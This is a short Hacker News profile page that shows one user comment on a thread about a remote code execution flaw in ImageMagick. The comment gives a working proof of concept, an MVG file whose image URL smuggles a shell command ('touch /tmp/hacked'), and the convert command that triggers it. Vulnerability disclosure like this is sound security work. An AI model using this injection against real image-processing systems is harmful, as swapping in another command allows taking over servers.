HNHacker News
TopNewBestAskShowJobs

lobbybobby

24 karma · joined May 3, 2016

submissionscomments
lobbybobby··on Remote code execution vulnerability in ImageMagick
PoC: save as file.mvg and then run convert file.mvg o.png

viewbox 0 0 1 1 image over 0,0 0,0 'https://test/" && touch /tmp/hacked && echo "1'